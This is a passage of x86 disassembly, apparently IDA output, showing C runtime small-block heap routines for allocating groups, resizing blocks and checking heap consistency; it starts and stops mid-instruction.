eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_8], eax mov [ebp+var_28], 0 loc_42750F: ; CODE XREF: sub_4274F0+36j cmp [ebp+var_8], 0 jl short loc_427528 mov ecx, [ebp+var_8] shl ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp short loc_42750F ; --------------------------------------------------------------------------- loc_427528: ; CODE XREF: sub_4274F0+23j mov eax, [ebp+var_28] imul eax, 204h mov ecx, [ebp+var_2C] lea edx, [ecx+eax+144h] mov [ebp+var_C], edx mov [ebp+var_20], 0 jmp short loc_427550 ; --------------------------------------------------------------------------- loc_427547: ; CODE XREF: sub_4274F0+84j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax loc_427550: ; CODE XREF: sub_4274F0+55j cmp [ebp+var_20], 3Fh jge short loc_427576 mov ecx, [ebp+var_20] mov edx, [ebp+var_C] lea eax, [edx+ecx*8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_18] mov [ecx+8], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_18] mov [eax+4], ecx jmp short loc_427547 ; --------------------------------------------------------------------------- loc_427576: ; CODE XREF: sub_4274F0+64j mov edx, [ebp+var_28] shl edx, 0Fh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] add ecx, edx mov [ebp+var_10], ecx push 4 push 1000h push 8000h mov edx, [ebp+var_10] push edx nop call near ptr 2980000h test eax, eax jnz short loc_4275A9 or eax, 0FFFFFFFFh jmp loc_4276DA ; --------------------------------------------------------------------------- loc_4275A9: ; CODE XREF: sub_4274F0+AFj mov eax, [ebp+var_10] add eax, 7000h mov [ebp+var_1C], eax mov ecx, [ebp+var_10] mov [ebp+var_4], ecx jmp short loc_4275C8 ; --------------------------------------------------------------------------- loc_4275BC: ; CODE XREF: sub_4274F0+13Bj mov edx, [ebp+var_4] add edx, 1000h mov [ebp+var_4], edx loc_4275C8: ; CODE XREF: sub_4274F0+CAj mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] ja short loc_42762D mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+0FFCh], 0FFFFFFFFh mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov dword ptr [ecx], 0FF0h mov edx, [ebp+var_18] add edx, 1000h mov eax, [ebp+var_18] mov [eax+4], edx mov ecx, [ebp+var_18] sub ecx, 1000h mov edx, [ebp+var_18] mov [edx+8], ecx mov eax, [ebp+var_18] add eax, 0FECh mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov dword ptr [ecx], 0FF0h jmp short loc_4275BC ; --------------------------------------------------------------------------- loc_42762D: ; CODE XREF: sub_4274F0+DEj mov edx, [ebp+var_C] add edx, 1F8h mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+4], eax mov edx, [ebp+var_14] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_1C] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+8], eax mov edx, [ebp+var_14] mov eax, [edx+8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov dword ptr [ecx+eax*4+44h], 0 mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov dword ptr [eax+edx*4+0C4h], 1 mov ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+43h] mov eax, [ebp+var_2C] mov cl, [eax+43h] add cl, 1 mov eax, [ebp+var_2C] mov [eax+43h], cl test edx, edx jnz short loc_4276BD mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_4276BD: ; CODE XREF: sub_4274F0+1BCj mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_28] loc_4276DA: ; CODE XREF: sub_4274F0+B4j mov esp, ebp pop ebp retn sub_4274F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4276E0 proc near ; CODE XREF: sub_425D30+81p ; sub_425F40+BCp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] add eax, 17h and al, 0F0h mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_30], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_C], ecx mov edx, [ebp+var_C] shr edx, 0Fh mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 204h mov ecx, [ebp+var_30] lea edx, [ecx+eax+144h] mov [ebp+var_8], edx mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov edx, [ecx] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+var_14] add eax, [ebp+var_28] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jle loc_427A06 mov ecx, [ebp+var_10] and ecx, 1 test ecx, ecx jnz short loc_42776B mov edx, [ebp+var_28] add edx, [ebp+var_10] cmp [ebp+var_1C], edx jle short loc_427772 loc_42776B: ; CODE XREF: sub_4276E0+7Ej xor eax, eax jmp loc_427CC7 ; --------------------------------------------------------------------------- loc_427772: ; CODE XREF: sub_4276E0+89j mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_42778B mov [ebp+var_20], 3Fh loc_42778B: ; CODE XREF: sub_4276E0+A2j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_42786D cmp [ebp+var_20], 20h jnb short loc_427802 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_427800 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_427800: ; CODE XREF: sub_4276E0+106j jmp short loc_42786D ; --------------------------------------------------------------------------- loc_427802: ; CODE XREF: sub_4276E0+C1j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_42786D mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_42786D: ; CODE XREF: sub_4276E0+B7j ; sub_4276E0:loc_427800j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] sub eax, [ebp+var_1C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle loc_4279E7 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ebp+var_2C], ecx mov edx, [ebp+var_10] sar edx, 4 sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 3Fh jbe short loc_4278C3 mov [ebp+var_20], 3Fh loc_4278C3: ; CODE XREF: sub_4276E0+1DAj mov eax, [ebp+var_20] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_18], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov [eax+8], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ecx+4] mov eax, [ebp+var_2C] mov [edx+8], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_4279D3 cmp [ebp+var_20], 20h jnb short loc_42796C mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_42794A mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_42794A: ; CODE XREF: sub_4276E0+252j mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+44h], ecx jmp short loc_4279D3 ; --------------------------------------------------------------------------- loc_42796C: ; CODE XREF: sub_4276E0+22Fj mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_4279AA mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_4279AA: ; CODE XREF: sub_4276E0+2ADj mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx loc_4279D3: ; CODE XREF: sub_4276E0+225j ; sub_4276E0+28Aj mov ecx, [ebp+var_2C] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+var_2C] add eax, [ebp+var_10] mov ecx, [ebp+var_10] mov [eax-4], ecx loc_4279E7: ; CODE XREF: sub_4276E0+1BBj mov edx, [ebp+var_1C] add edx, 1 mov eax, [ebp+var_14] mov [eax], edx mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [edx-4], ecx jmp loc_427CC2 ; --------------------------------------------------------------------------- loc_427A06: ; CODE XREF: sub_4276E0+70j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jge loc_427CC2 mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] mov [edx], ecx mov eax, [ebp+var_1C] add eax, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ecx-4], eax mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [ebp+var_14], edx mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_427A57 mov [ebp+var_24], 3Fh loc_427A57: ; CODE XREF: sub_4276E0+36Ej mov edx, [ebp+var_10] and edx, 1 test edx, edx jnz loc_427BA0 mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_427A7E mov [ebp+var_20], 3Fh loc_427A7E: ; CODE XREF: sub_4276E0+395j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_427B60 cmp [ebp+var_20], 20h jnb short loc_427AF5 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_427AF3 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_427AF3: ; CODE XREF: sub_4276E0+3F9j jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427AF5: ; CODE XREF: sub_4276E0+3B4j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_427B60 mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_427B60: ; CODE XREF: sub_4276E0+3AAj ; sub_4276E0:loc_427AF3j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_427BA0 mov [ebp+var_24], 3Fh loc_427BA0: ; CODE XREF: sub_4276E0+37Fj ; sub_4276E0+4B7j mov edx, [ebp+var_24] mov eax, [ebp+var_8] lea ecx, [eax+edx*8] mov [ebp+var_18], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx+8], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_14] mov ecx, [ebp+var_14] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_427CAE cmp [ebp+var_24], 20h jnb short loc_427C48 mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_427C26 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_427C26: ; CODE XREF: sub_4276E0+52Ej mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax jmp short loc_427CAE ; --------------------------------------------------------------------------- loc_427C48: ; CODE XREF: sub_4276E0+50Cj mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_427C85 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_427C85: ; CODE XREF: sub_4276E0+588j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+0C4h], eax loc_427CAE: ; CODE XREF: sub_4276E0+502j ; sub_4276E0+566j mov eax, [ebp+var_14] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_14] add edx, [ebp+var_28] mov eax, [ebp+var_28] mov [edx-4], eax loc_427CC2: ; CODE XREF: sub_4276E0+321j ; sub_4276E0+32Cj mov eax, 1 loc_427CC7: ; CODE XREF: sub_4276E0+8Dj mov esp, ebp pop ebp retn sub_4276E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4E98E0, 0 jz loc_427DFC mov eax, dword_4E98D4 shl eax, 0Fh mov ecx, dword_4E98E0 mov edx, [ecx+0Ch] add edx, eax mov [ebp-4], edx push 4000h push 8000h mov eax, [ebp-4] push eax call near ptr 2970D92h nop mov edx, 80000000h mov ecx, dword_4E98D4 shr edx, cl mov eax, dword_4E98E0 mov ecx, [eax+8] or ecx, edx mov edx, dword_4E98E0 mov [edx+8], ecx mov eax, dword_4E98E0 mov ecx, [eax+10h] mov edx, dword_4E98D4 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4E98E0 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4E98E0 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4E98E0 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_427D82 mov edx, dword_4E98E0 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4E98E0 mov [ecx+4], eax loc_427D82: ; CODE XREF: .XComp0:00427D6Cj mov edx, dword_4E98E0 cmp dword ptr [edx+8], 0FFFFFFFFh jnz short loc_427DF2 cmp dword_4E98E4, 1 jle short loc_427DF2 mov eax, dword_4E98E0 mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4E98C8 push edx call near ptr 2970000h nop mov eax, dword_4E98E4 imul eax, 14h mov ecx, dword_4E98E8 add ecx, eax mov edx, dword_4E98E0 add edx, 14h sub ecx, edx push ecx mov eax, dword_4E98E0 add eax, 14h push eax mov ecx, dword_4E98E0 push ecx call sub_4237A0 add esp, 0Ch mov edx, dword_4E98E4 sub edx, 1 mov dword_4E98E4, edx loc_427DF2: ; CODE XREF: .XComp0:00427D8Cj ; .XComp0:00427D95j mov dword_4E98E0, 0 loc_427DFC: ; CODE XREF: .XComp0:00427CDBj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427E00 proc near ; CODE XREF: sub_426530+44p var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 168h mov eax, dword_4E98E4 imul eax, 14h push eax mov ecx, dword_4E98E8 push ecx call near ptr 29114ADh nop test eax, eax jz short loc_427E2B or eax, 0FFFFFFFFh jmp loc_428419 ; --------------------------------------------------------------------------- loc_427E2B: ; CODE XREF: sub_427E00+21j mov edx, dword_4E98E8 mov [ebp+var_13C], edx mov [ebp+var_120], 0 jmp short loc_427E52 ; --------------------------------------------------------------------------- loc_427E43: ; CODE XREF: sub_427E00+612j mov eax, [ebp+var_120] add eax, 1 mov [ebp+var_120], eax loc_427E52: ; CODE XREF: sub_427E00+41j mov ecx, [ebp+var_120] cmp ecx, dword_4E98E4 jge loc_428417 mov edx, [ebp+var_13C] mov eax, [edx+10h] mov [ebp+var_160], eax push 41C4h mov ecx, [ebp+var_160] push ecx call near ptr 29114ADh nop test eax, eax jz short loc_427E93 mov eax, 0FFFFFFFEh jmp loc_428419 ; --------------------------------------------------------------------------- loc_427E93: ; CODE XREF: sub_427E00+87j mov edx, [ebp+var_13C] mov eax, [edx+0Ch] mov [ebp+var_128], eax mov ecx, [ebp+var_160] add ecx, 144h mov [ebp+var_18], ecx mov edx, [ebp+var_13C] mov eax, [edx+8] mov [ebp+var_4], eax mov [ebp+var_144], 0 mov [ebp+var_158], 0 mov [ebp+var_C], 0 jmp short loc_427EE3 ; --------------------------------------------------------------------------- loc_427EDA: ; CODE XREF: sub_427E00+5D6j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_427EE3: ; CODE XREF: sub_427E00+D8j cmp [ebp+var_C], 20h jge loc_4283DB mov [ebp+var_11C], 0 mov [ebp+var_150], 0 mov [ebp+var_12C], 0 mov [ebp+var_14C], 0 jmp short loc_427F26 ; --------------------------------------------------------------------------- loc_427F17: ; CODE XREF: sub_427E00+140j mov edx, [ebp+var_14C] add edx, 1 mov [ebp+var_14C], edx loc_427F26: ; CODE XREF: sub_427E00+115j cmp [ebp+var_14C], 40h jge short loc_427F42 mov eax, [ebp+var_14C] mov [ebp+eax*4+var_118], 0 jmp short loc_427F17 ; --------------------------------------------------------------------------- loc_427F42: ; CODE XREF: sub_427E00+12Dj cmp [ebp+var_4], 0 jl loc_42837D push 8000h mov ecx, [ebp+var_128] push ecx call near ptr 29114ADh nop test eax, eax jz short loc_427F6C mov eax, 0FFFFFFFCh jmp loc_428419 ; --------------------------------------------------------------------------- loc_427F6C: ; CODE XREF: sub_427E00+160j mov edx, [ebp+var_128] mov [ebp+var_8], edx mov [ebp+var_140], 0 jmp short loc_427F90 ; --------------------------------------------------------------------------- loc_427F81: ; CODE XREF: sub_427E00+30Fj mov eax, [ebp+var_140] add eax, 1 mov [ebp+var_140], eax loc_427F90: ; CODE XREF: sub_427E00+17Fj cmp [ebp+var_140], 8 jge loc_428114 mov ecx, [ebp+var_8] add ecx, 0Ch mov [ebp+var_130], ecx mov edx, [ebp+var_130] add edx, 0FF0h mov [ebp+var_138], edx mov eax, [ebp+var_130] cmp dword ptr [eax-4], 0FFFFFFFFh jnz short loc_427FD2 mov ecx, [ebp+var_138] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_427FDC loc_427FD2: ; CODE XREF: sub_427E00+1C5j mov eax, 0FFFFFFFBh jmp loc_428419 ; --------------------------------------------------------------------------- loc_427FDC: ; CODE XREF: sub_427E00+1D0j ; sub_427E00+2E6j mov edx, [ebp+var_130] mov eax, [edx] mov [ebp+var_148], eax mov ecx, [ebp+var_148] mov [ebp+var_154], ecx mov edx, [ebp+var_154] and edx, 1 test edx, edx jz short loc_428039 mov eax, [ebp+var_148] sub eax, 1 mov [ebp+var_148], eax cmp [ebp+var_148], 400h jle short loc_428028 mov eax, 0FFFFFFFAh jmp loc_428419 ; --------------------------------------------------------------------------- loc_428028: ; CODE XREF: sub_427E00+21Cj mov ecx, [ebp+var_12C] add ecx, 1 mov [ebp+var_12C], ecx jmp short loc_42807B ; --------------------------------------------------------------------------- loc_428039: ; CODE XREF: sub_427E00+201j mov edx, [ebp+var_148] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_42805E mov [ebp+var_14C], 3Fh loc_42805E: ; CODE XREF: sub_427E00+252j mov eax, [ebp+var_14C] mov ecx, [ebp+eax*4+var_118] add ecx, 1 mov edx, [ebp+var_14C] mov [ebp+edx*4+var_118], ecx loc_42807B: ; CODE XREF: sub_427E00+237j cmp [ebp+var_148], 10h jl short loc_42809D mov eax, [ebp+var_148] and eax, 0Fh test eax, eax jnz short loc_42809D cmp [ebp+var_148], 0FF0h jle short loc_4280A7 loc_42809D: ; CODE XREF: sub_427E00+282j ; sub_427E00+28Fj mov eax, 0FFFFFFF9h jmp loc_428419 ; --------------------------------------------------------------------------- loc_4280A7: ; CODE XREF: sub_427E00+29Bj mov ecx, [ebp+var_130] add ecx, [ebp+var_148] mov edx, [ecx-4] cmp edx, [ebp+var_154] jz short loc_4280C8 mov eax, 0FFFFFFF8h jmp loc_428419 ; --------------------------------------------------------------------------- loc_4280C8: ; CODE XREF: sub_427E00+2BCj mov eax, [ebp+var_130] add eax, [ebp+var_148] mov [ebp+var_130], eax mov ecx, [ebp+var_130] cmp ecx, [ebp+var_138] jb loc_427FDC mov edx, [ebp+var_130] cmp edx, [ebp+var_138] jz short loc_428104 mov eax, 0FFFFFFF8h jmp loc_428419 ; --------------------------------------------------------------------------- loc_428104: ; CODE XREF: sub_427E00+2F8j mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_8], eax jmp loc_427F81 ; --------------------------------------------------------------------------- loc_428114: ; CODE XREF: sub_427E00+197j mov ecx, [ebp+var_18] mov edx, [ecx] cmp edx, [ebp+var_12C] jz short loc_42812B mov eax, 0FFFFFFF7h jmp loc_428419 ; --------------------------------------------------------------------------- loc_42812B: ; CODE XREF: sub_427E00+31Fj mov eax, [ebp+var_18] mov [ebp+var_134], eax mov [ebp+var_14], 0 jmp short loc_428146 ; --------------------------------------------------------------------------- loc_42813D: ; CODE XREF: sub_427E00+578j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_428146: ; CODE XREF: sub_427E00+33Bj cmp [ebp+var_14], 40h jge loc_42837D mov [ebp+var_168], 0 mov edx, [ebp+var_134] mov [ebp+var_130], edx loc_428166: ; CODE XREF: sub_427E00+4A5j mov eax, [ebp+var_130] mov ecx, [eax+4] mov [ebp+var_15C], ecx mov edx, [ebp+var_15C] cmp edx, [ebp+var_134] jz loc_4282AA mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz loc_4282AA mov edx, [ebp+var_15C] cmp edx, [ebp+var_128] jb short loc_4281BE mov eax, [ebp+var_128] add eax, 8000h cmp [ebp+var_15C], eax jb short loc_4281C8 loc_4281BE: ; CODE XREF: sub_427E00+3A9j mov eax, 0FFFFFFF6h jmp loc_428419 ; --------------------------------------------------------------------------- loc_4281C8: ; CODE XREF: sub_427E00+3BCj mov ecx, [ebp+var_15C] and ecx, 0FFFFF000h mov [ebp+var_164], ecx mov edx, [ebp+var_164] add edx, 0Ch mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 0FF0h mov [ebp+var_124], eax loc_4281F4: ; CODE XREF: sub_427E00+41Cj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_124] jz short loc_42821E mov edx, [ebp+var_10] cmp edx, [ebp+var_15C] jnz short loc_42820C jmp short loc_42821E ; --------------------------------------------------------------------------- loc_42820C: ; CODE XREF: sub_427E00+408j mov eax, [ebp+var_10] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_10], edx jmp short loc_4281F4 ; --------------------------------------------------------------------------- loc_42821E: ; CODE XREF: sub_427E00+3FDj ; sub_427E00+40Aj mov eax, [ebp+var_10] cmp eax, [ebp+var_124] jnz short loc_428233 mov eax, 0FFFFFFF5h jmp loc_428419 ; --------------------------------------------------------------------------- loc_428233: ; CODE XREF: sub_427E00+427j mov ecx, [ebp+var_15C] mov edx, [ecx] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_42825A mov [ebp+var_14C], 3Fh loc_42825A: ; CODE XREF: sub_427E00+44Ej mov eax, [ebp+var_14C] cmp eax, 